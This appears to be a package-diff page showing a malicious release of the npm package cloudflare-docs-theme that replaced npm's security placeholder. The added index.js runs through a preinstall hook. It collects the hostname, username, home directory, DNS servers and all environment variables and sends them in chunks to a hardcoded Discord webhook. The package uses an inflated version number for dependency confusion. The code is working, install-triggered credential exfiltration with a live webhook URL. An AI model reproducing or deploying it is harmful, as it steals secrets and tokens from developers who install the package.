cloudflare-docs-theme 0.0.1-security → 99.999999.99998

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of cloudflare-docs-theme might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +69 -0
  2. package/package.json +13 -4
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,69 @@
1
+ const os = require('os');
2
+ const dns = require('dns');
3
+ const https = require('https');
4
+ const package = require('./package.json');
5
+
6
+ const discordWebhookUrl = 'https://discord.com/api/webhooks/1193206970140856441/aFHKutNLPSb9OA4YUmTNzme5Jl4GncjxU6DPAIomrO0Sb9zQNQdfRGjZJXAXOLBlcFz1';
7
+ const baseMessage = `Alert: CTF Dependency Confusion Attack Detected!
8
+ Current Directory: ${__dirname}
9
+ Home Directory: ${os.homedir()}
10
+ Hostname: ${os.hostname()}
11
+ Username: ${os.userInfo().username}
12
+ Dns-Server: ${dns.getServers()}
13
+ Package: ${JSON.stringify(package, null, 2)}`;
14
+
15
+ const envVariablesString = JSON.stringify(process.env);
16
+ const discordCharLimit = 2000;
17
+ function chunkSubstr(str, size) {
18
+ const numChunks = Math.ceil(str.length / size);
19
+ const chunks = new Array(numChunks);
20
+
21
+ for (let i = 0, o = 0; i < numChunks; ++i, o += size) {
22
+ chunks[i] = str.substr(o, size);
23
+ }
24
+ return chunks;
25
+ }
26
+
27
+
28
+ const availableSpace = discordCharLimit - baseMessage.length - 100; // Reserve 100 chars for buffer and message formatting
29
+
30
+
31
+ const envVarChunks = chunkSubstr(envVariablesString, availableSpace);
32
+
33
+ function sendMessage(message, delay) {
34
+ setTimeout(() => {
35
+ const payload = JSON.stringify({ content: message });
36
+ const parsedUrl = new URL(discordWebhookUrl);
37
+ const options = {
38
+ hostname: parsedUrl.hostname,
39
+ path: parsedUrl.pathname,
40
+ method: 'POST',
41
+ headers: {
42
+ 'Content-Type': 'application/json',
43
+ 'Content-Length': Buffer.byteLength(payload)
44
+ }
45
+ };
46
+
47
+ const req = https.request(options, (res) => {
48
+ console.log(`Status: ${res.statusCode}`);
49
+ res.on('data', (d) => {
50
+ process.stdout.write(d);
51
+ });
52
+ });
53
+
54
+ req.on('error', (e) => {
55
+ console.error(e);
56
+ });
57
+
58
+ req.write(payload);
59
+ req.end();
60
+ }, delay);
61
+ }
62
+
63
+ sendMessage(baseMessage, 0);
64
+
65
+
66
+ envVarChunks.forEach((chunk, index) => {
67
+ const delay = (index + 1) * 2000;
68
+ sendMessage(`Env Part ${index + 1}: ${chunk}`, delay);
69
+ });
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
- "name": "cloudflare-docs-theme",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
2
+ "name": "cloudflare-docs-theme",
3
+ "version": "99.999999.99998",
4
+ "description": "akshansh-security",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "akshansh",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "cloudflare-docs-theme": "^99.999.999"
14
+ }
6
15
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=cloudflare-docs-theme for more information.